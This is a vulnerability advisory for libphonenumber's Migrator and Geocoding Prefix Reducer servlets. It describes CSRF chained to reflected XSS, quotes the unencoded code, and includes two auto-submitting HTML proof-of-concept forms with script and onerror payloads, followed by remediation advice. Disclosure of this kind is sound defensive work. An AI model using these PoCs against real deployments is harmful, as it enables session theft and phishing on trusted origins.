Back to Security Research & Advisories
Full Disclosure ID: HA-2026-00140

libphonenumber - Version 9.0.27 / CSRF leads to Reflected XSS via Lack of Output Encoding in Migrator and Geocoding Prefix Reducer Tools

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 8.0 (HIGH)
Target libphonenumber / Google Phone Parsing Library
GitHub Repository Google Issue Tracker Pull Request #3982 Pull Request #3983

Below are two (2) ways to reproduce CSRF that leads to R-XSS in libphonenumber.

Note: While this vulnerabilities are specifically verified and reported on version 9.0.27, other prior and subsequent versions may also be susceptible to this lack of output encoding vector.

Introduction

libphonenumber is Google's common Java, C++, and JavaScript library for parsing, formatting, and validating international phone numbers. It is the core library behind phone number handling in Android, Google Workspace, and countless external web and mobile applications worldwide.

The library is primarily used to handle complex telephone metadata, format numbers consistently according to international standards (such as E.164), and determine the validity of inputs in user registration, messaging, and authentication pipelines. Given its widespread adoption and integration into core security and communication layers, maintaining its security posture is critical to preventing malicious input exploitation and client-side vulnerabilities from compromising downstream systems.

Vulnerability Description (Geocoding Prefix Reducer Tool)

The following documents the chaining of two distinct vulnerabilities: (1) Missing CSRF Protection at the /combine endpoint and (2) Lack of Output Encoding in CombineGeoDataServlet.java, whose technical impact results in execution of arbitrary JavaScript in the victim's session.

The Geocoding Prefix Reducer tool, accessible at the /combine route, processes input from the geodata POST parameter to generate aggregated geocoding data. The implementation lacks any Cross-Site Request Forgery (CSRF) mitigation (such as anti-CSRF tokens). Additionally, the application reflects user-provided inputs from the geodata parameter directly into the resulting HTML response (CombineGeoDataServlet.java) without proper HTML entity encoding or sanitization. By chaining these two flaws, an attacker can craft a malicious website that forces a victim's browser to submit a crafted POST request, leading to the execution of arbitrary JavaScript in the context of the victim's session on the vulnerable origin.

The vulnerable code in tools/java/data/src/com/google/i18n/phonenumbers/CombineGeoDataServlet.java:

// Line 35: Extracting unsanitized input
String input = req.getParameter("geodata");

// Line 41: Passing the input to the engine which will reflect it directly to output stream
CombineGeoData combineGeoData = new CombineGeoData(
    new ByteArrayInputStream(input.getBytes()), resp.getOutputStream(), "<br>");
combineGeoData.run();

The impact is high, as an attacker can execute arbitrary scripts in the victim's browser. This allows for:

  • Stealing sensitive session information or authentication tokens on the trusted origin.
  • Accessing and exfiltrating geocoding data processed by the tool.
  • Redirection to malicious sites or performing unauthorized actions in the context of the web application.
  • Compromising the integrity of the data presented to the user.

Technical Impact Analysis

Project Purpose & Context

The Geocoding Prefix Reducer is a critical data optimization utility within the libphonenumber project. Its primary function is to compress geocoding data by identifying and combining phone number prefixes that share the same geographical description (location). This reduces the overall footprint of the geocoding metadata used by millions of devices and applications worldwide to map phone numbers to physical locations.

The /combine endpoint specifically serves as the web interface for this utility, allowing developers to submit raw prefix-to-location mappings and receive a minimized, optimized dataset in real-time.

Platform & Deployment Environment

This tool is technically architected as a Java Servlet intended for deployment on Google App Engine (GAE). The presence of GAE-specific configurations and its placement within the official Google repository indicates that any instance of this tool would likely be hosted on a high-trust domain such as *.appspot.com.

Comprehensive Risk Assessment

  1. Integrity Violation of Global Metadata: The most significant impact beyond XSS is the potential for data manipulation. Since the results are reflected and potentially used as "optimized" source data for other systems, an attacker exploiting the CSRF/XSS chain could inject malicious or misleading geocoding mappings. If these mappings are later integrated into a production environment, it could lead to incorrect location identification for emergency services, tracking, or caller-ID applications.
  2. Autoritative Origin Exploitation: By executing JavaScript on a Google-managed origin, an attacker breaks the "Same-Origin Policy" (SOP) boundaries. This allows for the theft of any cookies or session tokens scoped to that domain, which might be shared with other Google Cloud services if not strictly isolated.
  3. Zero-Interaction Exploitation via CSRF: The lack of CSRF tokens on the /combine endpoint is the gateway for the XSS. This means the exploitation does not require the user to manually enter malicious data; simply visiting a third-party malicious website is enough to trigger the payload in the victim's authenticated session on the libphonenumber tool.
  4. Downstream Data Poisoning: As this tool is used by developers to generate data for their own apps, an attacker could use XSS to modify the results displayed to the developer, leading them to unknowingly embed malicious scripts or incorrect data into their own downstream applications.

Attack Scenario

Who wants to exploit a particular vulnerability?

Any malicious actor seeking to target developers or users of the libphonenumber data tools.

For what gain?

To compromise user data, steal session information, or exploit the authoritative nature of the google domain to launch further attacks.

In what way?

By hosting a malicious page that auto-submits a POST request to /combine containing a script payload, tricking the victim into executing code in their own browser session.

Reproduction steps

Step N° 1. The attacker hosts a malicious HTML page (the CSRF PoC) that contains a hidden form targeting http://localhost:8080/combine with a payload like 1|<script>alert('KW0')</script>.

Step N° 2. The victim visits the attacker's page while the libphonenumber tool is accessible. The form auto-submits, and the server reflects the script, triggering an alert with 'KW0'.

The CSRF exploit that trigger the Reflected XSS

<html>
  <body onload="document.getElementById('exploit').submit()">
    <form id="exploit" action="http://localhost:8080/combine" method="POST">
      <input type="hidden" name="geodata" value="1|<script>alert('KW0')</script>">
    </form>
  </body>
</html>

The XSS Evidence

XSS Evidence

Vulnerability Description (Migrator Tool)

The following documents the chaining of two distinct vulnerabilities: (1) Missing CSRF Protection at the /migrate endpoint and (2) Lack of Output Encoding in index.jsp, whose technical impact results in execution of arbitrary JavaScript in the victim's session.

The Phone Number Migrator tool, accessible at the /migrate route, processes phone number migration requests via POST. The implementation lacks any Cross-Site Request Forgery (CSRF) mitigation (such as anti-CSRF tokens). Additionally, the application reflects user-provided inputs from the number and numberCountryCode parameters directly into the resulting HTML page (index.jsp) without proper HTML entity encoding. By chaining these two flaws, an attacker can craft a malicious website that forces a victim's browser to submit a crafted POST request, leading to the execution of arbitrary JavaScript in the context of the victim's session on the vulnerable origin.

The vulnerable code in migrator/migrator-servlet/src/main/webapp/index.jsp:

<%-- Line 147 --%>
out.print("<p>The stale number '" + request.getAttribute("number") + "' was successfully migrated...");

<%-- Line 193 --%>
<input type="text" name="number" id="number" placeholder="+841205555555" required
       value="<%=request.getAttribute("number") == null ? "" : request.getAttribute("number")%>"/>

The impact is high, as an attacker can execute arbitrary scripts in the victim's browser. This allows for:

  • Stealing sensitive session information (if not protected by HttpOnly).
  • Performing unauthorized actions on behalf of the user within the application.
  • Exfiltrating phone number data processed by the migrator tool.
  • Redirecting the user to phishing or malware distribution sites.

Technical Impact Analysis

Project Purpose & Context

The Phone Number Migrator is a specialized utility within the libphonenumber ecosystem designed to validate and convert phone numbers to the E.164 format based on BCP-47 country codes. It handles two critical workflows:

  • Single Number Migration: Real-time validation and conversion of individual inputs.
  • File Migration: Bulk processing of text files containing large lists of phone numbers, with the ability to download the migrated results.

Platform & Deployment Environment

Historically and technically, this project is architected for deployment on Google App Engine (GAE), as evidenced by the inclusion of appengine-web.xml and specific GAE SDK dependencies. This means the vulnerability exists in a tool intended to be hosted under highly trusted Google domains (e.g., appspot.com).

Comprehensive Risk Assessment

  1. Data Exfiltration: The File Migration feature is a primary target. An attacker exploiting the XSS can use JavaScript to intercept the results of bulk migrations, potentially capturing large datasets of phone numbers processed by the victim.
  2. Origin Trust Exploitation: Because the tool is part of the official google/libphonenumber repository, users and developers treat the hosted instances as highly authoritative. An XSS on this origin can be used to launch sophisticated phishing attacks that appear to come from a trusted Google-managed service.
  3. Lack of Defense-in-Depth: The total absence of CSRF protection on a state-changing POST endpoint (/migrate), combined with the lack of output encoding, represents a significant breakdown in the application's security posture. This allows for a "zero-interaction" exploitation (auto-submitting forms) that guarantees the execution of the payload whenever a victim visits an attacker-controlled site.
  4. Session & Token Theft: While primarily a demo/utility, if integrated into a larger Google internal or external ecosystem, the XSS could be leveraged to steal authentication tokens or cookies that are not properly scoped with HttpOnly or SameSite restrictions.

Attack Scenario

Who wants to exploit a particular vulnerability?

Any malicious actor seeking to target users of the libphonenumber migration tool or developers testing their phone number integrations.

For what gain?

To compromise user sessions, steal processed data (phone numbers), or use the trusted domain to launch further attacks or internal network reconnaissance.

In what way?

By hosting a malicious page that uses an auto-submitting multipart/form-data form to trigger the /migrate endpoint with an XSS payload, tricking the victim into visiting the attacker's page.

Reproduction steps

Step N° 1. An attacker hosts a malicious HTML file (PoC) containing a form with enctype="multipart/form-data" targeting http://localhost:8080/migrate. The form contains a hidden input named number with the payload "><script>alert(document.domain)</script>.

Step N° 2. The victim, while authenticated or active in the tool, visits the attacker's page. The page auto-submits the form to the vulnerable server.

Step N° 3. The server receives the POST request, processes the "migration", and forwards the request to index.jsp. The JSP renders the unencoded payload, and the browser executes the script, showing an alert with the domain.

The CSRF exploit that trigger the Reflected XSS

<!DOCTYPE html>
<html>
  <head>
    <title>Initiating security validation...</title>
  </head>
  <body onload="document.getElementById('exploit-form').submit()">
    <p>Please wait a moment while the request is being processed...</p>
    
    <!-- The form must be multipart/form-data for ServletFileUpload to process it -->
    <form id="exploit-form" action="http://localhost:8080/migrate" method="POST" enctype="multipart/form-data">
      
      <!-- Using the payload you confirmed: "><script>alert('XSS')</script> -->
      <!-- Placing it in a hidden field. Using single quotes for the HTML value to avoid conflicts with the payload -->
      <!-- <input type="hidden" name="number" value='"><script>alert("CSRF+XSS")</script>' /> -->
       <input type="hidden" name="number" value='"><img src=x onerror=alert(/kw0/)>' />
      <input type="hidden" name="numberCountryCode" value="1" />
      
      <!-- It is important that there are no additional fields that could confuse the legacy parser -->
      <input type="submit" style="display:none" />
    </form>
    
    <script>
      // Optional: If auto-submit fails due to security policies, the user can click
      console.log("Form submitted automatically...");
    </script>
  </body>
</html>

The XSS Evidence

XSS Reflected Evidence 1
XSS Reflected Evidence 2

Executive Summary: CSRF-to-XSS Chain in Geocoding Prefix Reducer

The research documents a critical vulnerability chain in the /combine endpoint of the libphonenumber Geocoding Prefix Reducer, which facilitates unauthenticated, zero-interaction execution of arbitrary JavaScript.

  • Root Cause: The application lacks Cross-Site Request Forgery (CSRF) mitigation (anti-CSRF tokens) on the /combine POST endpoint, combined with a total lack of output encoding in CombineGeoDataServlet.java where user-provided geodata is reflected back in the HTML response.
  • Exploitation Mechanism: An attacker can host a malicious webpage that auto-submits a POST request to the vulnerable endpoint with a crafted JavaScript payload. Since the endpoint lacks CSRF protection, the victim's browser executes the script in the context of the trusted origin.

Analysis of Scope and Security Implications

The risk is elevated due to the authoritative nature of the domain and the potential for downstream data integrity issues.

1. Infection Scenarios

  • "Zero-Interaction" Exploitation: The victim does not need to enter data manually; simply visiting an attacker-controlled site triggers the auto-submitting form, which then executes the payload in the victim's active session.
  • SOP Boundary Break: Execution on a *.appspot.com or similar high-trust origin allows the attacker to bypass Same-Origin Policy (SOP) protections, facilitating the theft of authentication tokens or sensitive cookies.

2. Factors Exacerbating Risk

  • Global Impact on Metadata Integrity: Exploitation can lead to the injection of misleading geocoding mappings. Because this tool generates data used by millions of devices, poisoned output could compromise the location mapping logic for downstream applications and emergency services.
  • Authoritative Domain Trust: The tool’s hosting on Google-managed infrastructure provides an inherent trust factor, making phishing campaigns utilizing this XSS vector highly convincing to both end-users and developers.

Conclusion and Recommendation

This is a critical-severity vulnerability chain. The total absence of defensive layers (CSRF tokens and output encoding) on a state-changing endpoint makes this tool a significant security liability.

Suggested actions for the development team:

  1. Implement CSRF Protection: Integrate standard anti-CSRF tokens for all state-changing POST requests, specifically on the /combine endpoint.
  2. Enforce Output Encoding: Apply strict HTML entity encoding for all user-supplied data before it is reflected in the servlet's output stream.
  3. Adopt Content Security Policy (CSP): Implement a robust CSP to restrict the execution of unauthorized scripts, acting as a secondary defense layer for the web interface.